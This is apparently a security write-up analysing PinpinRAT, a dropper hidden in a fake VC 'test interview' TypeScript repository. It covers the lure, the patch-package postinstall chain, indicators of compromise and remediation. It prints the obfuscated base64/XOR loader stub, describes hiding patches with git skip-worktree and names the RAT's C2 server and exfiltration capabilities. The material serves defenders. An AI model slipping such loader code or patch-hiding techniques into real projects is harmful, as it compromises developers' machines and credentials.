In June 2026 a Canadian developer received a seemingly legitimate outreach from a fabricated Singapore‑based VC, Lua Ventures. The attacker offered a “test” interview repository written in TypeScript – a bait that evolved into a sophisticated supply‑chain dropper now dubbed PinpinRAT. By dissecting the payload, we can extract lessons for security teams managing open‑source dependencies.

The lure and initial red flags

The email contained a LinkedIn profile that passed a cursory glance but featured nonsensical credentials (e.g., “BSc(Hons), MA (Dist), PGDipFM, CEng”). The attacker referenced two early‑stage companies, Lyrasing and Roadpay, whose web footprints were limited to basic static pages and an archived snapshot of roadpay.cc [1]. A Google Meet invitation (no calendar invite) and a German‑accented voice added social‑engineering depth but no technical indicator.

How the malicious patch chain operates

The repo’s package.json lacked typical postinstall hooks, yet each sub‑package invoked patch‑package, a tool that usually amends node_modules after install. Four separate postinstall scripts ran, one of which executed git update-index --skip-worktree to hide patched files from git status [1]. The critical typescript+5.9.2.patch inserted a base64‑encoded, XOR‑obfuscated stub at the top of typescript.js and _tsc.js. The stub runs via new Function(...), bypassing classic eval detection.

;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i++)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})('YWFg...',73)

When the TypeScript compiler is invoked—by any npm run build, npm run typecheck, or npm run dev—the stub decodes a hidden payload stored in a PNG’s custom WASMPACK chunk. That payload spawns a detached Node process carrying a 1.68 MB second‑stage RAT, then rewrites the patch to delete its own injection, achieving single‑use persistence.

Payload capabilities and C2 PinpinRAT establishes an RSA‑2048 keypair, negotiates an AES‑256‑CBC

session key, and communicates with a C2 server at 89.124.107.161:80. It can exfiltrate environment variables, arbitrary files, execute commands, manipulate the filesystem, and even perform DNS tunneling via a dns command. A built‑in dismantle command removes the malicious files, while the environment variable PINPIN_NO_AUTOSTART=1 disables persistence for analysis.

Indicators of compromise (IoCs)

  • Process masquerade on macOS: com.apple.WebKit.Networking
  • Scheduled task on Windows: PinpinWrappedJs
  • Temp directories: ~/Library/Caches/runtime-cache/.cache- (macOS), /tmp/.cache- (Linux), %TEMP%\.cache- (Windows)
  • PNG chunk: WASMPACK
  • Patch file: typescript+5.9.2.patch
  • Anchor strings: 12ff4b51, ticket-harbor-tsc-shim-anchor [1]

Business impact and remediation

If a developer runs the compromised repo, the RAT gains full remote code execution on the host, exposing source code, credentials, and internal network topology—precisely the data a nation‑state actor seeks. Immediate steps are:

  1. Isolate the host from the network.
  2. Rotate all credentials (AWS keys, npm tokens, SSH keys) from a clean machine.
  3. Delete the flagged temp directories and any payload.js/mutex.js artifacts.
  4. Audit CI pipelines for unsigned dependencies and enforce reproducible builds. The incident underscores three strategic takeaways for IT directors:
  • Supply‑chain hygiene: Enforce strict provenance checks on third‑party npm packages and patches; consider signed Git commits and SBOM verification.
  • Social‑engineering awareness: Even technically sophisticated lures can be detected through subtle HR cues—unlikely VC outreach, mismatched time zones, and incomplete LinkedIn histories.
  • Automated analysis: Leveraging LLMs (Claude) accelerated reverse engineering of multi‑layered obfuscation, suggesting a role for AI‑assisted malware triage in SOC workflows. The attack failed not because the code was impossible, but because a vigilant developer noticed anomalous patch directories and sought a second opinion. As supply‑chain threats grow, the margin for error shrinks; enterprises must blend